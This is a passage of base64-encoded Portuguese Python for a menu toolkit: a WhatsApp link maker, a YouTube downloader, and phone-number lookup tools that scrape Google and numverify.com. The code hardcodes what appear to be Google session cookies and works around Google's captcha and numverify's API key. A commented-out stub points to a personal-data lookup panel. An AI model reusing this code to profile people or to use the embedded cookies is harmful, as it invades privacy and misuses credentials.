cmludChmJ3tDfVt7R31pe0N9XSBEaWdpdGUgbyBudW1lcm8uJykKICAgIG51bSA9IGlucHV0KCc9PT0+JykKICAgIHByaW50KGYne0N9W3tHfWl7Q31dIERpZ2l0ZSBhIG1lbnNhZ2VtLicpCiAgICBtc2cgPSBpbnB1dCgnPT09PicpCiAgICB1cmwgPSAnaHR0cHM6Ly9hcGkud2hhdHNhcHAuY29tL3NlbmQ/cGhvbmU9JyArIG51bSArICcmdGV4dD0nICsgbXNnCiAgICBwcmludChmJ3tDfVt7R31pe0N9XSBVUkwgZ2VyYWRhIDonICsgdXJsKQogICAgcHJpbnQoZid7Q31be1l9aXtDfV0gRGVzZWphIGdlcmFyIHVtYSBub3ZhIHVybD8nKQogICAgcHJpbnQoZid7Q31be0d9MXtDfV0gU2ltJykKICAgIHByaW50KGYne0N9W3tHfTJ7Q31dIE7Do28nKQogICAgY2hvaWNlID0gaW5wdXQoJz09PT4nKQogICAgaWYgY2hvaWNlID09ICcxJzoKICAgICAgICBnZXJhcmxpbmt3aGF0cygpCgoKZGVmIHlvdXR1YmUoKToKICAgIGNsZWFyKCkKICAgIHByaW50KGYne0N9e0d9e3Jlc3VsdH17Q30nKQogICAgcHJpbnQoZid7Q31be0d9aXtDfV0gU2VsZWNpb25lIG8gbW9kbyBkZSBvcGVyYcOnw6NvJykKICAgIHByaW50KGYne0N9W3tHfTF7Q31dIE1QNCcpCiAgICBwcmludChmJ3tDfVt7R30ye0N9XSBNUDMnKQogICAgZmlsZXR5cGUgPSBpbnB1dCgnPT09PicpCiAgICBwcmludChmJ3tDfVt7R31pe0N9XSBJbmZvcm1lIGEgdXJsIGRvIHZpZGVvJykKICAgIHVybCA9IGlucHV0KCc9PT0+JykKICAgIGNsZWFyKCkKICAgIHByaW50KGYne0N9e0d9e3Jlc3VsdH17Q30nKQogICAgcHJpbnQoZid7Q31be0d9aXtDfV0gQmFpeGFuZG8uLi5wb3IgZmF2b3IgYWd1YXJkZScpCiAgICBpZiBmaWxldHlwZSA9PSAnMSc6CiAgICAgICAgZmlsZSA9IFlvdVR1YmUodXJsKS5zdHJlYW1zLmZpcnN0KCkKICAgICAgICBmaWxlLmRvd25sb2FkKG91dHB1dF9wYXRoPSJkb3dubG9hZHMiKQogICAgaWYgZmlsZXR5cGUgPT0gJzInOgogICAgICAgIGZpbGUgPSBZb3VUdWJlKHVybCkKICAgICAgICBmaW5hbCA9IGZpbGUuc3RyZWFtcy5maWx0ZXIob25seV9hdWRpbz1UcnVlKS5hbGwoKQogICAgICAgIGZpbmFsWzBdLmRvd25sb2FkKG91dHB1dF9wYXRoPSJkb3dubG9hZHMiKQogICAgcHJpbnQoZid7Q31be0d9aXtDfV0gVmlkZW8gYmFpeGFkby4nKQogICAgcHJpbnQoKQogICAgcHJpbnQoZid7Q31be0d9aXtDfV0gRGVzZWphIGJhaXhhciBvdXRybyB2aWRlbz8nKQogICAgcHJpbnQoZid7Q31be0d9MXtDfV0gU2ltJykKICAgIHByaW50KGYne0N9W3tHfTJ7Q31dIE7Do28nKQogICAgY2hvaWNlID0gaW5wdXQoJz09PT4nKQogICAgaWYgY2hvaWNlID09ICcxJzoKICAgICAgICB5b3V0dWJlKCkKCgpkZWYgY29uc3VsdGF0ZWwoKToKICAgIHByaW50KGYne0N9e0d9e3Jlc3VsdH17Q30nKQogICAgcHJpbnQoZidPIHF1ZSBkZXNlamEgZmF6ZXI/JykKICAgIHByaW50KGYnW3tHfTF7Q31dQ29uc3VsdGFyIG9wZXJhZG9yYSBwb3IgbnVtZXJvJykKICAgIHByaW50KGYnW3tHfTJ7Q31dUGhvbmUgaW5mb2dhJykKICAgIHByaW50KGYnW3tHfTN7Q31dQ29uc3VsdGEgY29tcGxldGFbe0d9R1JBVElTe0N9XSB7Q31be1J9T0ZGe0N9XScpCiAgICBjaG9pID0gaW5wdXQoJz09PT4nKQogICAgaWYgY2hvaSA9PSAnMScgb3IgY2hvaSA9PSAnMDEnOgogICAgICAgIGNvbnN1bHRhb3BlcmFkb3JhKCkKICAgIGVsaWYgY2hvaSA9PSAnMicgb3IgY2hvaSA9PSAnMDInOgogICAgICAgIHBob25laW5mb2dhKCkKICAgIGVsaWYgY2hvaSA9PSAnMycgb3IgY2hvaSA9PSAnMDMnOgogICAgICAgIHByaW1lbnVtZXJvKCkKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoZid7Q31be1J9aXtDfV0gT3DDp8OjbyBpbnbDoWxpZGEnKQogICAgICAgIHRpbWUuc2xlZXAoMykKCgpkZWYgcHJpbWVudW1lcm8oKToKICAgIGNsZWFyKCkKICAgIHJla3QoKQogICAgcGFzcwogICAgI3ByaW50KGYne0N9e0d9e3Jlc3VsdH17Q30nKQogICAgI3ByaW50KGYne0N9W3tHfWl7Q31dIERpZ2l0ZSBvIG51bWVybyhleDogMjE5w5fDl8OXw5fDl8OXw5fDlykuJykKICAgICNyZXF1aWVtID0gaW5wdXQoJz09PT4gJykKICAgICNkYXRhID0gcmVxdWVzdHMuZ2V0KCd2c2ZkIGh5cGUvZHVhbGl0eSBidXNjYXMsIHZvdSB0cm9jYXIgZSBjcmlwdG9ncmFmYXIgdG9kYXMgYXMgYXBpLCBxdWVybyB2ZXIgcGVnYXI9e30mcmVsb2FkPScuZm9ybWF0KHJlcXVpZW0pKS50ZXh0CiAgICAjYSA9IGRhdGEucmVwbGFjZSgnPGxhYmVsICJjb250cm9sLWxhYmVsIiBmb3I9ImZvcm1Hcm91cEV4YW1wbGVJbnB1dDUiPicsJycpLnJlcGxhY2UoJzwvbGFiZWw+JywnJykucmVwbGFjZSgnPHNwYW4gImZvcm0tY29udHJvbC1zdGF0aWMiICJmb3JtR3JvdXBFeGFtcGxlSW5wdXQ1Ij4nLCcnKS5yZXBsYWNlKCc8ZGl2ICJyb3cgZm9ybS1ncm91cCI+JywnJykucmVwbGFjZSgnPC9icj4nLCcnKS5yZXBsYWNlKCc8YnI+JywnJykucmVwbGFjZSgnPGRpdiAiY29sLTYiPicsJycpLnJlcGxhY2UoJzxkaXYgImNvbC00Ij4nLCcnKS5yZXBsYWNlKCc8L3NwYW4+JywnJykucmVwbGFjZSgnPGEgaHJlZj0iIyIgdGl0bGU9IkNPTlNVTFRBRE8iJywnJykucmVwbGFjZSgnbmFtZT0iTGlua0V2b1BsdXMiJywnJykucmVwbGFjZSgnZGF0YS0iMDAzLjkyMC42NzgtNTQiPicsJycpLnJlcGxhY2UoJzxpICJmYSBmYS1zZWFyY2giPjwvaT4nLCcnKS5yZXBsYWNlKCc8L2E+JywnJykucmVwbGFjZSgnKHMmI3hFMTtiYWRvKScsJyhzw6FiYWRvKScpLnJlcGxhY2UoJyh0ZXImI3hFNzthLWZlaXJhKScsJyh0ZXLDp2EtZmVpcmEpJykucmVwbGFjZSgnRGF0YSBkZSBOYXNjaW1lbnRvJywnRGF0YSBkZSBOYXNjaW1lbnRvOicpLnJlcGxhY2UoJzxkaXYgImNvbC0yIj4nLCcnKS5yZXBsYWNlKCc8ZGl2ICJjb2wtMTAiPicsJycpLnJlcGxhY2UoJzxkaXYgInRpdGxlLWJsb2NrIj4nLCcnKS5yZXBsYWNlKCc8c3R5bGU+JywnJykucmVwbGFjZSgnPC9zdHlsZT4nLCcnKQogICAgI2ZvciBpIGluIHJhbmdlKDAsMTApOgogICAgCSN0cnk6CiAgICAJCSNhID0gYXBpLnJlcGxhY2UoZic8aDMgInRpdGxlIj48aSAiZmEgZmEtbGlzdC11bCI+PC9pPiBSZXN1bHRhZG8gKHtpfSBlbmNvbnRyYWRvcyk8L2gzPicsJycpCiAgICAJI2V4Y2VwdDoKICAgIAkJI3Bhc3MKICAgICNwcmludChhKQoKICAgICNwcmludChmJ3tDfVt7WX1pe0N9XSBEZXNlamEgZmF6ZXIgdW1hIG5vdmEgY29uc3VsdGE/JykKICAgICNwcmludCgnMS5TaW0nKQogICAgI3ByaW50KCcyLk7Do28nKQogICAgI09ITk8gPSBpbnB1dCgiPT09PiIpCiAgICAjaWYgT0hOTyA9PSAnMScgb3IgT0hOTyA9PSAnMDEnOgogICAgICAgICNwcmltZW51bWVybygpCiAgICAjaWYgT0hOTyA9PSAnMicgb3IgT0hOTyA9PSAnMDInOgogICAgICAgICNwYXNzCiAgICAjZWxzZToKICAgICAgICAjcHJpbnQoZid7Q31be1J9aXtDfV0gT3DDp8OjbyBpbnbDoWxpZGEnKQogICAgICAgICN0aW1lLnNsZWVwKDMpCgoKZGVmIHBob25laW5mb2dhKCk6CiAgICB1YWdlbnQgPSBbIk1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDkuMDsgV2luZG93cyBOVCA2LjApIE9wZXJhIDEyLjE0IiwKICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFgxMTsgVWJ1bnR1OyBMaW51eCBpNjg2OyBydjoyNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzI2LjAiLAogICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCB4ODZfNjQ7IGVuLVVTOyBydjoxLjkuMS4zKSBHZWNrby8yMDA5MDkxMyBGaXJlZm94LzMuNS4zIiwKICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNi4xOyBlbjsgcnY6MS45LjEuMykgR2Vja28vMjAwOTA4MjQgRmlyZWZveC8zLjUuMyAoLk5FVCBDTFIgMy41LjMwNzI5KSIsCiAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMikgQXBwbGVXZWJLaXQvNTM1LjcgKEtIVE1MLCBsaWtlIEdlY2tvKSBDb21vZG9fRHJhZ29uLzE2LjEuMS4wIENocm9tZS8xNi4wLjkxMi42MyBTYWZhcmkvNTM1LjciLAogICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjI7IGVuLVVTOyBydjoxLjkuMS4zKSBHZWNrby8yMDA5MDgyNCBGaXJlZm94LzMuNS4zICguTkVUIENMUiAzLjUuMzA3MjkpIiwKICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNi4xOyBlbi1VUzsgcnY6MS45LjEuMSkgR2Vja28vMjAwOTA3MTggRmlyZWZveC8zLjUuMSIsCiAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChYMTE7IFVidW50dTsgTGludXggeDg2XzY0OyBydjo2My4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzYzLjAiXQoKICAgIG51bWJlciA9ICcnICAjIEZ1bGwgbnVtYmVyIGZvcm1hdDsgZS5nOiAzMzEyMzQ1Njc4CiAgICBsb2NhbE51bWJlciA9ICcnICAjIExvY2FsIG51bWJlciBmb3JtYXQ7IGUuZzogMDYgMTIgMzQgNTYgNzgKICAgIGludGVybmF0aW9uYWxOdW1iZXIgPSAnJyAgIyBJbnRlcm5hdGlvbmFsIG51bWJlciBmb3JtYXQ7IGUuZzogKzMzIDYgMTIgMzQgNTYgNzgKICAgIG51bWJlckNvdW50cnlDb2RlID0gJycgICMgRGlhbCBjb2RlOyBlLmc6IDMzCiAgICBudW1iZXJDb3VudHJ5ID0gJycgICMgQ291bnRyeTsgZS5nOiBmcgoKICAgIGdvb2dsZUFidXNlVG9rZW4gPSAnJwogICAgY3VzdG9tRm9ybWF0dGluZyA9ICcnCgogICAgY2xlYXIoKQoKICAgIGRlZiBzZWFyY2gocmVxLCBzdG9wKToKICAgICAgICBnbG9iYWwgZ29vZ2xlQWJ1c2VUb2tlbgogICAgICAgIGdsb2JhbCB1YWdlbnQKICAgICAgICBjaG9zZW5Vc2VyQWdlbnQgPSByYW5kb20uY2hvaWNlKHVhZ2VudCkKICAgICAgICByZXFTZXNzaW9uID0gcmVxdWVzdHMuU2Vzc2lvbigpCiAgICAgICAgaGVhZGVycyA9IHsKICAgICAgICAgICAgJ1VzZXItQWdlbnQnOiBjaG9zZW5Vc2VyQWdlbnQsCiAgICAgICAgICAgICdBY2NlcHQnOiAndGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksLztxPTAuOCcsCiAgICAgICAgICAgICdBY2NlcHQtTGFuZ3VhZ2UnOiAncHQtYnIscHQ7cT0wLjUnLAogICAgICAgICAgICAnQWNjZXB0LUVuY29kaW5nJzogJ2d6aXAsZGVmbGF0ZScsCiAgICAgICAgICAgICdBY2NlcHQtQ2hhcnNldCc6ICdJU08tODg1OS0xLHV0Zi04O3E9MC43LCo7cT0wLjcnLAogICAgICAgICAgICAnS2VlcC1BbGl2ZSc6ICcxMTUnLAogICAgICAgICAgICAnQ29ubmVjdGlvbic6ICdrZWVwLWFsaXZlJywKICAgICAgICAgICAgJ0NhY2hlLUNvbnRyb2wnOiAnbm8tY2FjaGUnLAogICAgICAgICAgICAnQ29va2llJzogJ0Nvb2tpZTogQ0dJQz1JajkwWlhoMEwyaDBiV3dzWVhCd2JHbGpZWFJwYjI0dmVHaDBiV3dyZUcxc0xHRndjR3hwWTJGMGFXOXVMM2h0YkR0eFBUQXVPU3dxTHlvN2NUMHdMamc7ICAgICAgICAgICAgICAgIENPTlNFTlQ9WUVTK1JFLmZyKzIwMTUwODA5LTA4LTA7IDFQX0pBUj0yMDE4LTExLTI4LTE0OyBOSUQ9MTQ4PWFTZFNISno3MXJ1ZkNva2FVQzkzbkgzSDdsT2I4RTdCTmV6RFdWLVB5eWlIVFhxV0s1WTVoc3ZqN0lBemhaQUswNC0gICAgICBRTlRYallvTFhWdV9laUFKa2lFNDZEbE5uNkpqamdDdFktN0ZyMEk0SmFILVBaUmI3V0ZnU1RqaUZxaDBmdzJjQ1d5TjY5RGVQOTJkek1kNTcydFFXMloxZ1B3bm8zeHVQcllDMVQ2NHdPdWQxRGpaRGhWQVprcGs2VWtCclUwUEJjbkxXTDdZZEw2SWJFYUNRbEFJOUJ3YXhvSF9leXdQVnlTOVY7IFNJRD11QVlldTNnVDIzR0N6LWt0ZEdJblF1T1NmLTVTU3psM1BsdzExLUN3c0VZWTBtcUpMU2l2N3RGS2VScEJfNWl6OFNINWxnLjsgSFNJRD1BWm1IX2N0QWZzMFhiV09DSjsgU1NJRD1BMFBjUkpTeWxXSXhKWVRxXzsgQVBJU0lEPUhIQjJiS2ZKLTJaVUw1LVIvQWMwR0szcXRNOEVIa2xvTnc7IFNBUElTSUQ9d1FveGV0SEJweW80cEpLRS9BMlA2RFVNOXpHblN0cElWdDsgU0lEQ0M9QUJ0SG8tRWhGQWEyQUpySklVZ1JHdFJvb1d5VkswYkF3aVE0VWdEbUthbWZlODh4T1lCWE00N0ZvTDVvWmFUeFIzSC1lT3A3LXJFOyBPVFo9NDY3MTg2MV81Ml81Ml8xMjM5MDBfNDhfNDM2MzgwOyBPR1BDPTg3MzAzNTc3Ni04OjsgT0dQPS04NzMwMzU3NzY6OycKICAgICAgICB9CgogICAgICAgIHRyeToKICAgICAgICAgICAgUkVRID0gdXJsZW5jb2RlKHsncSc6IHJlcX0pCiAgICAgICAgICAgIFVSTCA9ICdodHRwczovL3d3dy5nb29nbGUuY29tL3NlYXJjaD90YnM9bGk6MSZ7fSZhbXA7Z3dzX3JkPXNzbCZhbXA7Z2w9dXMgJy5mb3JtYXQoCiAgICAgICAgICAgICAgICBSRVEpCiAgICAgICAgICAgIHIgPSByZXFTZXNzaW9uLmdldChVUkwgKyBnb29nbGVBYnVzZVRva2VuLCBoZWFkZXJzPWhlYWRlcnMpCgogICAgICAgICAgICB3aGlsZSByLnN0YXR1c19jb2RlICE9IDIwMDoKICAgICAgICAgICAgICAgIHByaW50KAogICAgICAgICAgICAgICAgICAgICd7fVt7fUVSUk9Se31dIFZvY8OqIGVzdMOhIHRlbXBvcmFyaWFtZW50ZSBuYSBsaXN0YSBuZWdyYSBkYSBwZXNxdWlzYSBkbyBHb29nbGUuIFByZWVuY2hhIG8gY2FwdGNoYSBubyBzZWd1aW50ZSBVUkwgZSBjb3BpZSAvIGNvbGUgbyBjb250ZcO6ZG8gZG8gY29va2llIEdPT0dMRV9BQlVTRV9FWEVNUFRJT046IHt9Jy5mb3JtYXQoCiAgICAgICAgICAgICAgICAgICAgICAgIEMsIFIsIEMsIFVSTCkpCiAgICAgICAgICAgICAgICB0b2tlbiA9IGlucHV0KCdcbkdPT0dMRV9BQlVTRV9FWEVNUFRJT049JykKICAgICAgICAgICAgICAgIGdvb2dsZUFidXNlVG9rZW4gPSAnJmdvb2dsZV9hYnVzZT0nICsgdG9rZW4KICAgICAgICAgICAgICAgIHIgPSByZXFTZXNzaW9uLmdldChVUkwgKyBnb29nbGVBYnVzZVRva2VuLCBoZWFkZXJzPWhlYWRlcnMpCgogICAgICAgICAgICBzb3VwID0gQmVhdXRpZnVsU291cChyLnRleHQsICdodG1sNWxpYicpCgogICAgICAgICAgICByZXN1bHRzID0gc291cC5maW5kKCJkaXYiLCBpZD0ic2VhcmNoIikuZmluZF9hbGwoImRpdiIsIGNsYXNzXz0iZyIpCgogICAgICAgICAgICBsaW5rcyA9IFtdCiAgICAgICAgICAgIGNvdW50ZXIgPSAwCgogICAgICAgICAgICBmb3IgcmVzdWx0IGluIHJlc3VsdHM6CiAgICAgICAgICAgICAgICBjb3VudGVyICs9IDEKCiAgICAgICAgICAgICAgICBpZiBpbnQoY291bnRlcikgPiBpbnQoc3RvcCk6CiAgICAgICAgICAgICAgICAgICAgYnJlYWsKCiAgICAgICAgICAgICAgICB1cmwgPSByZXN1bHQuZmluZCgiYSIpLmdldCgnaHJlZicpCiAgICAgICAgICAgICAgICB1cmwgPSByZS5zdWIocicoPzpcL3VybFw/cVw9KScsICcnLCB1cmwpCiAgICAgICAgICAgICAgICB1cmwgPSByZS5zdWIocicoPzpcL3VybFw/dXJsXD0pJywgJycsIHVybCkKICAgICAgICAgICAgICAgIHVybCA9IHJlLnN1YihyJyg/Olwmc2FcPSkoPzouKiknLCAnJywgdXJsKQogICAgICAgICAgICAgICAgdXJsID0gcmUuc3ViKHInKD86XCZyY3RcPSkoPzouKiknLCAnJywgdXJsKQoKICAgICAgICAgICAgICAgIGlmIHJlLm1hdGNoKHIiXig/Olwvc2VhcmNoXD9xXD0pIiwgdXJsKSBpcyBub3QgTm9uZToKICAgICAgICAgICAgICAgICAgICB1cmwgPSAnaHR0cHM6Ly9nb29nbGUuY29tJyArIHVybAoKICAgICAgICAgICAgICAgIGlmIHVybCBpcyBub3QgTm9uZToKICAgICAgICAgICAgICAgICAgICBsaW5rcy5hcHBlbmQodXJsKQoKICAgICAgICAgICAgcmV0dXJuIGxpbmtzCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICBwcmludCgne31be31FUlJPUnt9XSBPIHBlZGlkbyBmYWxob3UuIFRlbnRlIG5vdmFtZW50ZS4nLmZvcm1hdChDLCBSLCBDKSkKICAgICAgICAgICAgcHJpbnQoZSkKICAgICAgICAgICAgcmV0dXJuIFtdCgogICAgZGVmIGZvcm1hdE51bWJlcihJbnB1dE51bWJlcik6CiAgICAgICAgcmV0dXJuIHJlLnN1YigiKD86XCspPyg/OlteWzAtOV0qKSIsICIiLCBJbnB1dE51bWJlcikKCiAgICBkZWYgbG9jYWxTY2FuKElucHV0TnVtYmVyKToKICAgICAgICBnbG9iYWwgbnVtYmVyCiAgICAgICAgZ2xvYmFsIGxvY2FsTnVtYmVyCiAgICAgICAgZ2xvYmFsIGludGVybmF0aW9uYWxOdW1iZXIKICAgICAgICBnbG9iYWwgbnVtYmVyQ291bnRyeUNvZGUKICAgICAgICBnbG9iYWwgbnVtYmVyQ291bnRyeQoKICAgICAgICBwcmludCgne31be31pe31dIEV4ZWN1dGFuZG8gdmVyaWZpY2HDp8OjbyBsb2NhbC4uLicuZm9ybWF0KEMsIFksIEMpKQoKICAgICAgICBGb3JtYXR0ZWRQaG9uZU51bWJlciA9ICIrIiArIGZvcm1hdE51bWJlcihJbnB1dE51bWJlcikKCiAgICAgICAgdHJ5OgogICAgICAgICAgICBQaG9uZU51bWJlck9iamVjdCA9IHBob25lbnVtYmVycy5wYXJzZShGb3JtYXR0ZWRQaG9uZU51bWJlciwgTm9uZSkKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIGlmIG5vdCBwaG9uZW51bWJlcnMuaXNfdmFsaWRfbnVtYmVyKFBob25lTnVtYmVyT2JqZWN0KToKICAgICAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgICAgICAgICAgbnVtYmVyID0gcGhvbmVudW1iZXJzLmZvcm1hdF9udW1iZXIoCiAgICAgICAgICAgICAgICBQaG9uZU51bWJlck9iamVjdCwgcGhvbmVudW1iZXJzLlBob25lTnVtYmVyRm9ybWF0LkUxNjQpLnJlcGxhY2UoJysnLCAnJykKICAgICAgICAgICAgbnVtYmVyQ291bnRyeUNvZGUgPSBwaG9uZW51bWJlcnMuZm9ybWF0X251bWJlcigKICAgICAgICAgICAgICAgIFBob25lTnVtYmVyT2JqZWN0LCBwaG9uZW51bWJlcnMuUGhvbmVOdW1iZXJGb3JtYXQuSU5URVJOQVRJT05BTCkuc3BsaXQoJyAnKVswXQogICAgICAgICAgICBudW1iZXJDb3VudHJ5ID0gcGhvbmVudW1iZXJzLnJlZ2lvbl9jb2RlX2Zvcl9jb3VudHJ5X2NvZGUoCiAgICAgICAgICAgICAgICBpbnQobnVtYmVyQ291bnRyeUNvZGUpKQoKICAgICAgICAgICAgbG9jYWxOdW1iZXIgPSBwaG9uZW51bWJlcnMuZm9ybWF0X251bWJlcigKICAgICAgICAgICAgICAgIFBob25lTnVtYmVyT2JqZWN0LCBwaG9uZW51bWJlcnMuUGhvbmVOdW1iZXJGb3JtYXQuRTE2NCkucmVwbGFjZShudW1iZXJDb3VudHJ5Q29kZSwgJzAnKQogICAgICAgICAgICBpbnRlcm5hdGlvbmFsTnVtYmVyID0gcGhvbmVudW1iZXJzLmZvcm1hdF9udW1iZXIoCiAgICAgICAgICAgICAgICBQaG9uZU51bWJlck9iamVjdCwgcGhvbmVudW1iZXJzLlBob25lTnVtYmVyRm9ybWF0LklOVEVSTkFUSU9OQUwpCgogICAgICAgICAgICBjb3VudHJ5ID0gZ2VvY29kZXIuY291bnRyeV9uYW1lX2Zvcl9udW1iZXIoUGhvbmVOdW1iZXJPYmplY3QsICJlbiIpCiAgICAgICAgICAgIGxvY2F0aW9uID0gZ2VvY29kZXIuZGVzY3JpcHRpb25fZm9yX251bWJlcihQaG9uZU51bWJlck9iamVjdCwgImVuIikKICAgICAgICAgICAgY2Fycmllck5hbWUgPSBjYXJyaWVyLm5hbWVfZm9yX251bWJlcihQaG9uZU51bWJlck9iamVjdCwgJ2VuJykKCiAgICAgICAgICAgIHByaW50KGYnRm9ybWF0byBpbnRlcm5hY2lvbmFsOntCfSB7aW50ZXJuYXRpb25hbE51bWJlcn0nKQogICAgICAgICAgICBwcmludChmJ0Zvcm1hdG8gbG9jYWw6e0J9IDAge2xvY2FsTnVtYmVyfScpCiAgICAgICAgICAgIHByaW50KGYnUGHDrXM6IHtCfXtjb3VudHJ5fSAoe251bWJlckNvdW50cnlDb2RlfSknKQogICAgICAgICAgICBwcmludChmJ0NpZGFkZS9Fc3RhZG86e0J9IHtsb2NhdGlvbn0nKQogICAgICAgICAgICBwcmludChmJ09wZXJhZG9yYTp7Qn0ge2NhcnJpZXJOYW1lfScpCiAgICAgICAgICAgIGZvciB0aW1lem9uZVJlc3VsdCBpbiB0aW1lem9uZS50aW1lX3pvbmVzX2Zvcl9udW1iZXIoUGhvbmVOdW1iZXJPYmplY3QpOgogICAgICAgICAgICAgICAgcHJpbnQoZidGdXNvIGhvcsOhcmlvOntCfSB7dGltZXpvbmVSZXN1bHR9JykKCiAgICAgICAgICAgIGlmIHBob25lbnVtYmVycy5pc19wb3NzaWJsZV9udW1iZXIoUGhvbmVOdW1iZXJPYmplY3QpOgogICAgICAgICAgICAgICAgcHJpbnQoJ08gbsO6bWVybyDDqSB2w6FsaWRvIGUgcG9zc8OtdmVsLicpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBwcmludCgnTyBuw7ptZXJvIMOpIHbDoWxpZG8sIG1hcyBwb2RlIG7Do28gc2VyIHBvc3PDrXZlbC4nKQoKICAgIGRlZiBudW12ZXJpZnlTY2FuKCk6CiAgICAgICAgZ2xvYmFsIG51bWJlcgogICAgICAgIHByaW50KCdFeGVjdXRhbmRvIHNjYW4gY29tIE51bXZlcmlmeS5jb20uLi4nKQoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHJlcXVlc3RTZWNyZXQgPSAnJwogICAgICAgICAgICByZXNwID0gcmVxdWVzdHMuZ2V0KCdodHRwczovL251bXZlcmlmeS5jb20vJykKICAgICAgICAgICAgc291cCA9IEJlYXV0aWZ1bFNvdXAocmVzcC50ZXh0LCAiaHRtbDVsaWIiKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcHJpbnQoJ051bXZlcmlmeS5jb20gbsOjbyBlc3TDoSBkaXNwb27DrXZlbCcpCiAgICAgICAgICAgIHJldHVybiAtMQoKICAgICAgICBmb3IgdGFnIGluIHNvdXAuZmluZF9hbGwoImlucHV0IiwgdHlwZT0iaGlkZGVuIik6CiAgICAgICAgICAgIGlmIHRhZ1snbmFtZSddID09ICJzY2xfcmVxdWVzdF9zZWNyZXQiOgogICAgICAgICAgICAgICAgcmVxdWVzdFNlY3JldCA9IHRhZ1sndmFsdWUnXQogICAgICAgICAgICAgICAgYnJlYWsKCiAgICAgICAgYXBpS2V5ID0gaGFzaGxpYi5tZDUoKCdudW1iZXInICsgJ3JlcXVlc3RTZWNyZXQnKS5lbmNvZGUoJ3V0Zi04JykpLmhleGRpZ2VzdCgpCgogICAgICAgIGhlYWRlcnMgPSB7CiAgICAgICAgICAgICdIb3N0JzogJ251bXZlcmlmeS5jb20nLAogICAgICAgICAgICAnVXNlci1BZ2VudCc6ICdNb3ppbGxhLzUuMCAoWDExOyBVYnVudHU7IExpbnV4IHg4Nl82NDsgcnY6NjQuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC82NC4wJywKICAgICAgICAgICAgJ0FjY2VwdCc6ICdhcHBsaWNhdGlvbi9qc29uLCB0ZXh0L2phdmFzY3JpcHQsIC87IHE9MC4wMScsCiAgICAgICAgICAgICdBY2NlcHQtRW5jb2RpbmcnOiAnZ3ppcCwgZGVmbGF0ZSwgYnInLAogICAgICAgICAgICAnUmVmZXJlcic6ICdodHRwczovL251bXZlcmlmeS5jb20vJywKICAgICAgICAgICAgJ1gtUmVxdWVzdGVkLVdpdGgnOiAnWE1MSHR0cFJlcXVlc3QnLAogICAgICAgICAgICAnRE5UJzogJzEnLAogICAgICAgICAgICAnQ29ubmVjdGlvbic6ICdrZWVwLWFsaXZlJywKICAgICAgICAgICAgJ1ByYWdtYSc6ICduby1jYWNoZScsCiAgICAgICAgICAgICdDYWNoZS1Db250cm9sJzogJ25vLWNhY2hlJwogICAgICAgIH0KICAgICAgICB0cnk6CiAgICAgICAgICAgIHJlc3BvbnNlID0gcmVxdWVzdHMucmVxdWVzdCgKICAgICAgICAgICAgICAgICJHRVQiLAogICAgICAgICAgICAgICAgImh0dHBzOi8vbnVtdmVyaWZ5LmNvbS9waHBfaGVscGVyX3NjcmlwdHMvcGhvbmVfYXBpLnBocD9zZWNyZXRfa2V5PXt9Jm51bWJlcj17fSIuZm9ybWF0KGFwaUtleSwgbnVtYmVyKSwKICAgICAgICAgICAgICAgIGRhdGE9IiIsIGhlYWRlcnM9aGVhZGVycykKCiAgICAgICAgICAgIGRhdGEgPSBqc29uLmxvYWRzKHJlc3BvbnNlLmNvbnRlbnQuZGVjb2RlKCd1dGYtOCcpKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcHJpbnQoJ051bXZlcmlmeS5jb20gbsOjbyBlc3TDoSBkaXNwb27DrXZlbCcpCiAgICAgICAgICAgIHJldHVybiAtMQoKICAgICAgICBpZiByZXNwb25zZS5jb250ZW50ID09ICJVbmF1dGhvcml6ZWQiIG9yIHJlc3BvbnNlLnN0YXR1c19jb2RlICE9IDIwMDoKICAgICAgICAgICAgcHJpbnQoKCJ7fVt7fUVSUk9Se31dIE9jb3JyZXUgdW0gZXJybyBhbyBjaGFtYXIgYSBBUEkgKHNvbGljaXRhw6fDo28gaW5jb3JyZXRhIG91IGNoYXZlIGRlIEFQSSBpbmNvcnJldGEpLiIpKQogICAgICAgICAgICByZXR1cm4gLTEKCiAgICAgICAgaWYgZGF0YVsidmFsaWQiXSA9PSBGYWxzZToKICAgICAgICAgICAgcHJpbnQoKAogICAgICAgICAgICAgICAgICAgICAgInt9W3t9RVJST1J7fV0gZXNwZWNpZmlxdWUgdW0gbsO6bWVybyBkZSB0ZWxlZm9uZSB2w6FsaWRvLiBFeGVtcGxvOiArNTU4NTk5OTk5OTk5OSAoREREIHBhw61zICsgREREIGVzdGFkbyArIG7Dum1lcm8iKSkKICAgICAgICAgICAgc3lzLmV4aXQoKQoKICAgICAgICBJbnRlcm5hdGlvbmFsTnVtYmVyID0gJyh7fSl7fScuZm9ybWF0KAogICAgICAgICAgICBkYXRhWyJjb3VudHJ5X3ByZWZpeCJdLCBkYXRhWyJsb2NhbF9mb3JtYXQiXSkKCiAgICAgICAgcHJpbnQoCiAgICAgICAgICAgIGYnTsO6bWVybzp7Qn0gKHtkYXRhWy